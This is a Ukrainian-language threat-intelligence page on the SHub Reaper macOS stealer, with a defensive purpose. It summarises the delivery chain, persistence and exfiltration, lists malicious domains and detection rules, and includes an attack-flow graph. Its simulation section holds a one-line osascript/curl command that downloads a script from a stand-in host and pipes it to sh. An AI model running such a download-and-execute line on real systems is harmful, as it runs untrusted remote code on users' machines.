SHub Reaper | macOS Stealer підробляє Apple, Google та Microsoft в єдиному ланцюжку атак
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
У звіті аналізується новий варіант інфоркрадача для macOS під назвою SHub Reaper, який використовує підроблені інсталяційні файли WeChat та Miro для доставки шкідливого AppleScript через домен-топоклонку в стилі Microsoft. Після запуску в Редакторі скриптів цей шкідливий код збирає дані браузера, файли криптовалютних гаманців та інформацію у зв’язці ключів, а потім ексфільтрує викрадений вміст у вигляді сегментованих архівів ZIP. Зловмисне програмне забезпечення також втручається у файли гаманців і встановлює стійкість через LaunchAgent, замаскований під оновлення програмного забезпечення Google. Рекомендовано зосередитись на виявленні виконання AppleScript, створенні підозрілих LaunchAgent та вихідному трафіку до відомої інфраструктури командування і управління.
Дослідження
SentinelOne відстежив повний багатоетапний ланцюжок доставки, включаючи зловживання схемою applescript:// , динамічну генерацію AppleScript та модуль захоплення файлів, що імітує поведінку крадіжки документів, як видно в AMOS. Дослідники зафіксували мережевий трафік до домену командування і управління hebsbsbzjsjshduxbs.xyz та пов’язаних з ним кінцевих точок, а також створення тимчасових файлів у /tmp та LaunchAgent, розміщеного в каталозі бібліотеки користувача. Дослідження також виявило жорстко закодовану функціональність Telegram-бота, яка використовується для телеметрії оператора.
Заходи
Захисникам слід блокувати доступ до доменів mlcrosoft.co.com, qq-0732gwh22.com, та mlroweb.com, а також стежити за LaunchAgent, створеними за шляхами, що імітують компоненти оновлень Google. Слід використовувати вказувальний список дозволених додатків, щоб обмежити виконання AppleScript з ненадійних джерел, і суворо дотримуватись перевірки підпису коду. Мережеві виявлення також повинні сповіщати про зв’язок з ідентифікованим командним доменом та відомими API шляхами.
Відповідь
Якщо виявлено активність SHub Reaper, негайно ізолюйте уражену кінцеву точку, завершите будь-які підозрілі процеси AppleScript або LaunchAgent та видаліть шкідливі файли із /tmp та бібліотеки користувача. Дослідники потім повинні провести повну форензичну збірку магазинів даних браузера, директорій гаманців та сховищ облікових даних, з подальшою зміною облікових даних при підозрі на компрометацію. Ідентифікована інфраструктура командування і контролю повинна бути заблокована, а команда реагування на інциденти має розпочати більш широке полювання на загрози в середовищі.
graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef operator fill:#ff9900 %% Вузли – Етапи атаки step_initial_access[“<b>Техніка</b> – <b>T1659 Впровадження Контенту</b>: Скомпрометовані вебсайти-приманки (підроблені WeChat або Miro) розміщують шкідливі URL applescript://, які доставляють корисне навантаження”] class step_initial_access action step_execution[“<b>Техніка</b> – <b>T1027 Обфусковані Файли або Інформація</b>: AppleScript, відкритий у Script Editor, виконує прихований base64-кодований виклик curl, який декодує та запускає stager”] class step_execution action step_code_retrieval[“<b>Техніка</b> – <b>T1505 Компонент Серверного ПЗ</b>: AppleScript завантажує основний шкідливий AppleScript із віддаленого сервера”] class step_code_retrieval action step_credential_capture[“<b>Техніка</b> – <b>T1056 Захоплення Введення</b>: AppleScript запитує у користувача пароль та викрадає дані Keychain”] class step_credential_capture action step_data_collection[“<b>Техніка</b> – <b>T1074.001 Локальне Стадіювання Даних</b>: Filegrabber сканує Desktop і Documents на наявність цільових розширень та готує їх у /tmp/shub_<rand>”] class step_data_collection action step_archive[“<b>Техніка</b> – <b>T1560.001 Архівування через Утиліту</b>: Зібрані файли архівуються та розбиваються на частини по 70 MB”] class step_archive action step_exfiltration[“<b>Техніка</b> – <b>T1011 Ексфільтрація через Інший Мережевий Канал</b>: Частини завантажуються через HTTPS на сервер командування та керування”] class step_exfiltration action step_wallet_hijack[“<b>Техніки</b> – <b>T1553.002 Підписування Коду</b> та <b>T1036.001 Маскування</b>: Шкідливі файли app.asar замінюють легітимні бінарні файли криптогаманців, використовуючи ad-hoc або недійсні підписи коду для обходу Gatekeeper”] class step_wallet_hijack action step_persistence[“<b>Техніки</b> – <b>T1037.002 Login Hook</b>, <b>T1176 Розширення ПЗ</b> та <b>T1574.007 Перехоплення Шляху</b>: Підроблений каталог Google Software Update з plist LaunchAgent (com.google.keystone.agent.plist), розміщеним у PATH, забезпечує постійне виконання”] class step_persistence action step_backdoor[“<b>Техніка</b> – <b>T1219 Засоби Віддаленого Доступу</b>: LaunchAgent виконує скрипт GoogleUpdate кожні 60 с, надсилає beacon-запити до /api/bot/heartbeat та може виконувати додаткові команди”] class step_backdoor malware %% Вузли – Інструменти / Компоненти tool_applescript[“<b>Інструмент</b> – <b>Назва</b>: AppleScript<br/><b>Опис</b>: Скрипт, що виконується через Script Editor для декодування та запуску корисного навантаження”] class tool_applescript tool tool_curl[“<b>Інструмент</b> – <b>Назва</b>: curl<br/><b>Опис</b>: Використовується для завантаження додаткових AppleScript і файлів даних через HTTPS”] class tool_curl tool tool_launchagent[“<b>Інструмент</b> – <b>Назва</b>: LaunchAgent<br/><b>Опис</b>: Механізм закріплення на рівні користувача macOS, визначений plist-файлом”] class tool_launchagent tool malware_stager[“<b>Шкідливе ПЗ</b> – <b>Назва</b>: Stager<br/><b>Опис</b>: Невеликий завантажувач, який отримує основне AppleScript-корисне навантаження”] class malware_stager malware %% Зв’язки – Потік step_initial_access –>|призводить до| step_execution step_execution –>|використовує| tool_applescript step_execution –>|запускає| malware_stager malware_stager –>|завантажує через| tool_curl malware_stager –>|ініціює| step_code_retrieval step_code_retrieval –>|використовує| tool_curl step_code_retrieval –>|дозволяє| step_credential_capture step_credential_capture –>|збирає| step_data_collection step_data_collection –>|готує файли для| step_archive step_archive –>|створює частини для| step_exfiltration step_exfiltration –>|доставляє до| step_wallet_hijack step_wallet_hijack –>|модифікує| step_persistence step_persistence –>|встановлює| tool_launchagent tool_launchagent –>|забезпечує| step_backdoor step_backdoor –>|виступає як| malware_stager %% Призначення класів class step_initial_access,step_execution,step_code_retrieval,step_credential_capture,step_data_collection,step_archive,step_exfiltration,step_wallet_hijack,step_persistence,step_backdoor action class tool_applescript,tool_curl,tool_launchagent tool class malware_stager,step_backdoor malware
Потік атаки
Виявлення
Можлива спроба перегляду IP-адрес домену (через dns)
Перегляд
Примусове підписання коду модифікованого пакету додатків (через cmdline)
Перегляд
Утиліта архівації MacOS вказує на підозрілий каталог (через cmdline)
Перегляд
Підозріла спроба виконання curl [MacOS] (через cmdline)
Перегляд
Архів був створений у тимчасовій папці MacOS (через file_event)
Перегляд
Можливе маніпулювання закодованими рядками Base64 (через cmdline)
Перегляд
Індикатори компрометації (HashSha256) для виявлення: SHub Reaper | macOS Stealer імітує Apple, Google та Microsoft в одній ланцюжку атаки
Перегляд
Індикатори компрометації (HashMd5) для виявлення: SHub Reaper | macOS Stealer імітує Apple, Google та Microsoft в одній ланцюжку атаки
Перегляд
Виявлення ланцюга інфікування SHub Reaper з використанням доменів-топоклонок і C2 [Webserver]
Перегляд
Виявлення виконання зловмисного ПЗ SHub Reaper через AppleScript та Curl [Linux Process Creation]
Перегляд
Виконання симуляції
Попередня умова: Телеметрія та перевірка базового стану перед польотом повинні були пройти.
Мотивація: Цей розділ детально описує точне виконання техніки супротивників (TTP), призначену для ініціювання правила виявлення. Команди та наративи ПОВИННІ безпосередньо відображати ідентифіковані TTP та націлюватися на генерування точної телеметрії, очікуваної логікою виявлення. Абстрактні чи недоречні приклади призведуть до неправильної діагностики.
-
Розповідь про атаку та команди:
Атакуючий створює лаконічну команду, яка використовуєosascriptдля виконання команди оболонки. У межах AppleScriptdo shell scriptзапускаєcurlщоб завантажити віддалений скрипт оболонки (payload.sh) і одразу передає йогоshдля виконання. Оскільки весь ланцюжок вбудований у єдине викликання AppleScript, macOS логує одинprocess_creationподію, чия командна лінія містить обидваosascriptandcurl, задовольняючи правило виявлення. -
Регресивний тестовий скрипт:
#!/bin/bash # # Імітує виконання SHub Reaper на macOS # Генерує одну подію process_creation, що містить 'osascript' та 'curl' # MALICIOUS_URL="https://malicious.example.com/payload.sh" # Однорядкове: osascript запускає команду оболонки, що завантажує навантаження і виконує його osascript -e "do shell script "curl -s ${MALICIOUS_URL} | sh"" -
Команди очищення:
#!/bin/bash # # Очистити всі артефакти, створені симуляцією. # Навантаження виконується в пам'яті і не записує файли, але ми впевнюємося, що немає залишкових процесів. # # Вбити всі сторонні процеси 'sh', запущені тестом (використовувати обережно в робочих системах) pkill -f "sh -c curl -s https://malicious.example.com/payload.sh"